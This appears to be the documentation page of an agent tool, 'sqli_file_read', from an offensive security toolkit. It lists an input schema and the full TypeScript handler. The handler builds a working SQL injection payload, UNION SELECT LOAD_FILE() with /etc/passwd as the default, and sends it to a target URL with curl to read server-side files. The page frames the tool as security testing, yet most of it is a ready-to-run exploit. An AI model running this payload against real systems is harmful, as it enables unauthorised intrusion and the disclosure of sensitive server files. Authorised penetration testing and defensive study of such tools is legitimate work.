sqli_file_read
Read server files through SQL injection using UNION SELECT LOAD_FILE(). Requires MySQL FILE privilege to access server-side files like /etc/passwd for security testing.
Instructions
Read server files via UNION SELECT LOAD_FILE(). Requires MySQL FILE privilege. Uses LOAD_FILE() in a UNION SELECT. Returns file_content, success, target_file. Errors: FILE privilege required. Returns empty if privilege denied.
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | Full URL with injectable parameter | |
| parameter | Yes | Vulnerable parameter name | |
| target_file | No | Server-side file to read, e.g. /etc/passwd | |
| column_count | No | Number of columns (from previous UNION discovery) | |
| string_column | No | 1-indexed column that displays strings |
Implementation Reference
- src/tools/sqli.ts:376-411 (handler)Implementation of the 'sqli_file_read' tool which uses UNION SELECT with LOAD_FILE() to read files from a server.
server.tool( "sqli_file_read", "Read server files via UNION SELECT LOAD_FILE(). Requires MySQL FILE privilege. Uses LOAD_FILE() in a UNION SELECT. Returns file_content, success, target_file. Errors: FILE privilege required. Returns empty if privilege denied.", { url: z.string().describe("Full URL with injectable parameter"), parameter: z.string().describe("Vulnerable parameter name"), target_file: z.string().optional().describe("Server-side file to read, e.g. /etc/passwd"), column_count: z.number().min(1).max(20).optional().describe("Number of columns (from previous UNION discovery)"), string_column: z.number().min(1).max(20).optional().describe("1-indexed column that displays strings"), }, async ({ url, parameter, target_file = "/etc/passwd", column_count = 3, string_column = 2 }) => { requireTool("curl"); const baseUrl = url.split("?")[0]; const parts = Array.from({ length: column_count }, (_, i) => i + 1 === string_column ? `LOAD_FILE('${target_file}')` : "NULL" ); const res = await runCmd("curl", [ "-sk", `${baseUrl}?${parameter}=' UNION SELECT ${parts.join(",")}-- -`, ]); const content = res.stdout; const hasContent = content.includes(target_file.split("/").pop() ?? "") || content.length > 200; const result = { target_file, success: hasContent, response_snippet: content.slice(0, 2000), response_length: content.length, }; return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] }; } );